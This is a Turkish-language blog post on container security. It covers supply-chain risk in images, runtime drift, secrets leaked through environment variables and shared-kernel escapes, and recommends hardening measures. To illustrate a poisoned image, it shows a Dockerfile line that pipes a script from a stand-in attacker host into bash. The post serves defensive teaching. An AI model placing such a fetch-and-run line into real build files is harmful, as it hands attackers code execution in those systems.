Eskiden bir sunucuyu aylarca hatta yıllarca ayakta tutmakla, uptime rekorlarıyla övünürdük; şimdi ise bir konteynerin beş dakikadan fazla yaşaması bizi hafiften şüphelendirmeye başlıyor. Bilişim dünyası, hantal sanal makinelerden (VM) hafif ve çevik konteynerlere evrildi. Ancak bu hız tutkusu, bazen temel güvenlik prensiplerini dikiz aynasında unutmamıza neden oluyor. 'Dockerize ettik, bitti' mantığı, siber saldırganlar için adeta açık büfe kahvaltı davetiyesi gibi bir şey.
Bugün sizinle testCompany lab ortamlarımızda ve saha tecrübelerimizde sıkça karşılaştığımız, 'imajı taradık, tertemiz' dedikten sonra başımıza gelen o sinsi senaryolardan ve bu gemiyi nasıl batırmadan yüzdürebileceğimizden konuşacağız.
İmajın İçindeki Truva Atı: Tedarik Zinciri Saldırıları
Her şey o masum docker pull komutuyla başlıyor. Çoğu geliştirici arkadaşım, Docker Hub veya benzeri registry'lerden imaj çekerken sadece fonksiyonelliğe bakıyor. 'En çok indirilen bu, o zaman güvenlidir' mantığı, siber güvenlikte en büyük safsatalardan biridir.
Bir Red Teamer olarak benim ilk baktığım yerlerden biri, imajın katmanlarıdır. Saldırganlar, popüler bir imajın içine sinsi bir entrypoint.sh bırakabilir veya LD_PRELOAD kütüphaneleriyle sistem çağrılarını manipüle edebilirler. Siz imajı statik analizden (SAST) geçirdiğinizde her şey yeşil yanabilir çünkü o zararlı kod, sadece konteyner ayağa kalktıktan sonra belirli bir koşulda (örneğin internete çıktığında) tetikleniyordur.
Hatalı (Tehlikeli) Örnek:
# Zararlı bir base imaj kullanıldığını düşünün
FROM example-registry.com/library/python:3.9-slim
USER root
RUN apt-get update && apt-get install -y curl
# Saldırganın eklediği sinsi bir satır
RUN curl -s http://attacker-site.com/setup.sh | bash
WORKDIR /app
COPY . .
CMD ["python", "app.py"]
Burada yapılması gereken şey, 'Immutable' (değişmez) imaj prensibini benimsemek ve imajları mutlaka imzalatmak (Docker Content Trust veya Cosign gibi araçlarla). Ayrıca, imajlarınızı 'distroless' formatına çekerek saldırganın içeride kullanabileceği curl, wget, sh gibi araçları elinden almalısınız.
Runtime Drift: Konteynerin Kişilik Bozukluğu
Konteynerler doğası gereği geçicidir (ephemeral). Ancak bir konteyner çalışmaya başladıktan sonra üzerinde dosya sistemi değişikliği oluyorsa, orada bir 'kaçak yolcu' olabilir. Biz buna Runtime Drift diyoruz.
Bir saldırgan sisteme sızdığında ilk yapacağı iş, kalıcılık (persistence) sağlamaktır. Konteyner içinde /tmp altına bir binary atmaya çalışabilir veya /etc/hosts dosyasını manipüle edebilir.
Savunma Hamlesi:
Kubernetes veya Docker runtime seviyesinde readOnlyRootFilesystem: true bayrağını kullanmak, saldırganın elini kolunu bağlar. Eğer uygulamanızın yazması gereken bir yer varsa (loglar vb.), orayı emptyDir veya harici bir volume olarak mount etmelisiniz.
# Kubernetes Pod SecurityContext örneği
apiVersion: v1
kind: Pod
metadata:
name: secure-container
spec:
containers:
- name: test-app
image: example.com/my-secure-app:v1.0.1
securityContext:
readOnlyRootFilesystem: true
allowPrivilegeEscalation: false
runAsNonRoot: true
runAsUser: 1000
capabilities:
drop:
- ALL
Bu YAML konfigürasyonu, bir saldırgan için 'oyun bitti' demektir. Root olamaz, dosya sistemine bir şey yazamaz ve gereksiz kernel yeteneklerini (capabilities) kullanamaz.
Sır Saklamayı Bilmeyen Konteynerler: Environment Variables Felaketi
En çok karşılaştığımız hatalardan biri de database şifrelerini, API anahtarlarını 'Environment Variable' olarak konteynere enjekte etmek. Evet, kolayımıza geliyor ama unutmayın; bir docker inspect veya bir phpinfo() sayfası sızıntısı tüm krallığın anahtarlarını saldırgana teslim edebilir.
Saldırgan konteyner içinde basit bir env komutu çalıştırdığında şu manzarayla karşılaşmamalı:
# SALDIRGANIN GÖRDÜĞÜ
DB_PASSWORD=SuperSecretPass123!
AWS_ACCESS_KEY=AKIA...
Bunun yerine, sırlarınızı (secrets) memory-mapped dosyalar üzerinden okuyun. Kubernetes Secret'larını volume olarak mount edin veya HashiCorp Vault gibi profesyonel çözümler kullanın. Uygulamanız şifreyi /run/secrets/db_password dosyasından okusun; böylece bu bilgi process environment tablosunda kabak gibi görünmez.
Kernel: Ortak Payda, Ortak Tehlike
Konteynerler sanal makineler gibi kendi kernel'larına sahip değildir. Hepsi ana makinenin (host) kernel'ını paylaşır. Bu ne demek? Eğer kernel üzerinde bir zafiyet (örneğin Dirty Pipe veya benzeri bir privilege escalation zafiyeti) varsa, bir konteynerden diğerine veya doğrudan host makineye atlamak çocuk oyuncağıdır.
Burada 'Seccomp' ve 'AppArmor' profilleri devreye giriyor. Bir konteynerin neden mount sistem çağrısı yapmaya ihtiyacı olsun ki? Veya neden ağ soketlerini ham (raw) şekilde manipüle etsin? Bu gereksiz syscall'ları kısıtlamak, saldırganın kernel zafiyetlerini tetiklemesini engeller.
Sonuç Yerine Bir Tavsiye
Konteyner güvenliği bir varış noktası değil, bir yolculuk. 'Sadece bir katman daha ekleyeyim' diyerek güvenliği sağlayamazsınız. İmajın oluşturulmasından (build), registry'de saklanmasına ve en nihayetinde runtime'da çalışmasına kadar her aşamada 'Sıfır Güven' (Zero Trust) modelini uygulamalısınız.
Bir Red Teamer olarak şunu söyleyebilirim: En zorlandığım sistemler, en çok kısıtlamaya sahip olanlar değil, en 'sıkıcı' olanlardır. Sadece yapması gereken işi yapan, içinde gereksiz hiçbir araç (shell, network tool vb.) barındırmayan ve her hareketini loglayan bir konteyner yapısı, saldırgan için en can sıkıcı senaryodur.
Gemiye kaçak yolcu almayın, aldırmayın. Bir sonraki teknik sohbette görüşmek üzere!
